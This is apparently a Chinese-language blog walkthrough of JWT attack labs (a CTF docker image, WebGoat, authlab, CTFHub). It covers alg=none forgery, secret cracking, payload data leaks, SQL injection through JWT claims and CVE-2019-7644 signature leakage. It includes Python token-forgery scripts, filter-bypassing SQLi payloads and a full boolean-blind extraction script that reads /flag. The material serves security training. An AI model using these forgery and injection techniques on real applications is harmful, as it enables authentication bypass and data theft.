JWT漏洞利用靶场实战
本文最后更新于 2024-09-27,文章内容可能已经过时。
JWT漏洞利用实战
1.空加密算法(cve-2015-9235)
1.1 ctf-jwt-token
使用docker直接拉取环境进行测试
docker pull gluckzhang/ctf-jwt-token
docker run --rm -p 8080:8080 gluckzhang/ctf-jwt-token
然后访问到主页,用admin/admin进行登陆的尝试
账号和密码不正确的话就会返回正确的账号和密码
然后使用longz和gogogo账号密码登录后,显示的是普通用户权限
longz/gogogo
进行登录,就会返回登陆的jwt
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoxNzI3NDE4NDE0MDAzLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdPVzY0OyBydjo0Ni4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ2LjAiLCJyb2xlIjoidXNlciIsImlhdCI6MTcyNzQxODQxNH0.6uAejnIwErn-Fi1kLOq_nJ5I7reNSQzoi7n-x6TSHJ4
将获取的jwt使用jwt.io 进行解码
可以看到是直接可以修改user的,使用python的jwt库进行修改生成新的jwt
import jwt
payload = {
"auth": 1727418414003,
"agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
"role": "admin",
"iat": 1727418414
}
print(jwt.encode(payload,None,algorithm="none"))
修改后结果为
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhdXRoIjoxNzI3NDE4NDE0MDAzLCJhZ2VudCI6Ik1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdPVzY0OyBydjo0Ni4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ2LjAiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3Mjc0MTg0MTR9。
在登陆longz用户之后刷新页面,将cookie中的token值修改为上边生成的jwt即可获得admin的权限
就可以找到我们的flag
1.2 webgoat
使用docker拉取我们的webgoat镜像
docker search webgoat
docker pull webgoat/webgoat-8.0:v8.1.0
docker pull webgoat/webwolf:v8.1.0
docker pull webgoat/goatandwolf:v8.1.0
docker images
docker run -d -p 8885:8888 -p 8089:8080 -p 9090:9090 webgoat/goatandwolf:v8.1.0
拉取成功之后访问我们的靶场
http://192.168.91.128:8085/WebGoat/start.mvc#lesson/JWT.lesson
注册之后进行登陆,找到投票的靶场
http://192.168.91.128:8085/WebGoat/start.mvc#lesson/JWT.lesson/3
先是游客的权限不能进行投票,修改权限为Tom
点击垃圾桶重置投票,BURP抓包可以看到用户使用的token
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE3MjgyODU1NDgsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.MQ12Js27PN7MEZ3TNKG7dGOCRfJ28j2ZL-CcBLCbuj2vOesirIit3B7FzRSIvePfR4tSHAZUqrO4SgGHcdbLFg
admin改成true,alg改为none,即改掉加密算法
这里我们直接使用burpsuite里边的Json Token Attacker插件
抓包发送到Repeater,选择jws里边的alg为none,payload为"admin":“true”
点击Update进行更新,然后放包
可以看到如果是普通用户的话会提示只有管理员可以重置
在使用了空加密算法之后就可以直接使用admin的权限了
2.密钥爆破
JWT_Cracking
靶场地址:https://authlab.digi.ninja/JWT_Cracking
工具地址:GitHub - brendan-rius/c-jwt-cracker
kali安装工具
git clone https://github.com/brendan-rius/c-jwt-cracker
在make之前需要新安装这个库
apt-get install libssl-dev
编译好了之后直接使用
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3Mjc0MjI3NjQsImxldmVsIjoidXNlciIsInVzZXIiOiJqYXNwZXIifQ.43e848PqnqxOQcW3RsSbcN2V4I8NXPtLzBx-gLZYUFw
就可以破解我们jwt中的key
破解完key之后就可以使用key在jwt中进行修改了
只要在VERIFY SIGNATURE中加入我们的密钥就可以了
之后再填入发送我们就可以以xiaoe的用户名admin的权限进行登陆了
3.敏感信息泄露
Leaky JWT
https://authlab.digi.ninja/Leaky_JWT
上边提供的是加密的JWT的token,开发者如果把不必要的信息放在payload里边,那么解密的时候就可能获得用户的用户名和密码。我们将token放到解密的网站进行解密
https://tooltt.com/jwt-decode/
可以看到用户名是admin,密码是经过md5加密的,就可以尝试使用解密网站进行解密2ac9cb7dc02b3c0083eb70898e549b63
https://www.cmd5.com/
找到用户名和密码
joe / Password1
就可以登陆成功
4.JWT中的sql注入
网鼎杯js_on
靶场环境:ctfhub
https://www.ctfhub.com/#/challenge
在开启环境后进入到我们的首页,进去是一个登陆界面,
使用admin/admin尝试登陆,发现登陆成功,是一个弱口令的登陆
登录之后找到了信息
这里是你的信息:key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6
通过抓包也可以看到是一个jwt的认证
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OiB4UnQqWU1EcXlDQ3hZeGk5YUBMZ2NHcG5tTTJYOGkmNiJ9.dS9Hn6gwXUhuDIFgnibizPvV2o1uiNqRn5QVNjTCWYg
使用jwt.io进行解密
直接使用python的jwt库修改payload部分的值
import jwt
payload = {
"user": "admin",
"news": "xiaoe"
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').encode('utf-8')
print(encoded_jwt)
修改的结果为
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoieGlhb2UifQ.pIqlOYjtL4Nx8dbf0n37IlOTHIB-XImU6XWYScinTUk
可以看到修改成功,这个地方是可能存在sql注入的,我们可以尝试一下
import jwt
payload = {
"user": "admin' and 1=1#",
"news": "xiaoe",
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').encode('utf-8')
print(encoded_jwt)
得到的结果为
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4nIGFuZCAxPTEjIiwibmV3cyI6InhpYW9lIn0.TwG4woeClXCs5gTTOXTj0xe46KruVv-mppxP9pnDMfE
发现Get Out Hacker!!!报错信息,说明这个地方是做好了防护的,存在sql注入的可能性,尝试使用过滤符进行绕过
import jwt
payload = {
"user": "admin'/**/and/**/1=1#",
"news": "xiaoe",
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').encode('utf-8')
print(encoded_jwt)
得到的结果为
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4nLyoqL2FuZC8qKi8xPTEjIiwibmV3cyI6InhpYW9lIn0.MQXc_S7X-cAP_cMCG6bTObMOOsRWPlPFWtZtWQmK0tg
可以看到得到的信息正常显示了,再使用1=2 看返回的结果是否相同
import jwt
payload = {
"user": "admin'/**/and/**/1=2#",
"news": "Woniu"
}
key = 'xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6'
encoded_jwt = jwt.encode(payload,key,algorithm='HS256').decode('utf-8')
print(encoded_jwt)
得到的结果为
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4nLyoqL2FuZC8qKi8xPTIjIiwibmV3cyI6InhpYW9lIn0.gkUsnyqSgqPrqES8fq17O70JX7MwxwzczNezG6Qlr2k
返回的结果是不一样的,所以是存在布尔盲注的
之后使用python编写脚本使用二分法得到flag即可
# coding=utf-8
import jwt
import requests
import re
import time
requests.packages.urllib3.disable_warnings()
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-fa8327393969ebc9.sandbox.ctfhub.com:10800"
# JWT 负载模板
payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"
def half_interval():
result = ""
for i in range(1, 45):
min_val = 32
max_val = 127
while abs(max_val - min_val) > 1:
mid = (min_val + max_val) // 2
payload = payloadTmpl.format(i, mid)
jwttoken = {
"user": payload,
"news": "success"
}
token = jwt.encode(jwttoken, key, algorithm='HS256')
cookies = dict(token=str(token))
res = requests.get(url, cookies=cookies)
# 检查响应
if re.findall("success", res.text):
min_val = mid
else:
max_val = mid
# 添加延迟,避免过快请求
time.sleep(1)
result += chr(max_val)
print(result)
if __name__ == "__main__":
half_interval()
5. cve-2019-7644
Auth1
CVE-2019-7644:低于1.0.4的所有Auth0-WCF-Service-JWT NuGet软件包版本均在JWT签名验证失败时发出的错误消息中包含有关预期JWT签名的敏感信息。
此漏洞使攻击者可以使用此错误消息来获取任意JWT令牌的有效签名。这样,攻击者可以伪造令牌以绕过身份验证和授权机制。
靶场地址:https://authlab.digi.ninja/Auth1
可以使用上边的jwt进行尝试登陆
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6InVzZXIiLCJ1c2VyIjoic2lkIn0.Hnpn5k6NtrXn8qvOuiSsFjXhAolQGn3TfmGBvA7EGTU
登陆进来的就是一个user权限的用户,在jwt.io里边对信息进行解密
将右边的user换成admin之后复制到靶场下边提交
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6ImFkbWluIiwidXNlciI6InNpZCJ9.3NdjwjYHnZz-tSsvXWeYedYzIiJpAlc0-wQgMjjnZq8
发现这个地方出现了报错信息
那上边的signature应该就是正确的,使用上边的前半部分替换掉jwt的后半部分
点击登录后,就可以看到是admin权限登陆,jwt利用成功
- 感谢你赐予我前进的力量